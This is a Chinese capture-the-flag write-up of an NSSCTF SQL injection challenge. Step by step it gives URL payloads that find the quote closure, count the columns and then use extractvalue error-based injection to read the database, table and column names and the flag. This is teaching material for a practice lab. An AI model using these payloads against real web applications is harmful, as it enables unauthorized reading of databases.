
又是一道经典杰哥SQL注入题
题目提示:参数是wllm
1、先判断闭合方式
/?wllm=1' //得到回显位是单引号

2、判断字段数

/?wllm=1' group by 3 --+ //经过尝试,发现字段数是3
3、判断回显位

/?wllm=1' union select 1,2,3 --+ //原以为这个还是联合注入,但是发现根本没有回显,于是换一种思路,用报错注入试试
4.extractvalue报错注入
(1)已经知道了字段数,直接爆库名

?wllm=1' union select 1,2,extractvalue(1,concat('~',(select database())))--+
得到库名test_db
(2)爆表名

/?wllm=1' union select 1,2,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db')))--+
得到表名test_tb和users,直接尝试找test_tb的字段名
(3)爆字段名

/?wllm=1' union select 1,2,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb')))--+
发现一个名为flag的字段名
(4)直接查看flag字段名的内容

/?wllm=1' union select 1,2,extractvalue(1,concat('~',(select substring(group_concat(flag),1,30) from test_db.test_tb)))--+
/?wllm=1' union select 1,2,extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_db.test_tb)))--+
substring一次只能回显30个字符,分两次查看
最后整理得到flag:NSSCTF{8ab46ee0-b0d3-4056-a62a

1473

被折叠的 条评论
为什么被折叠?



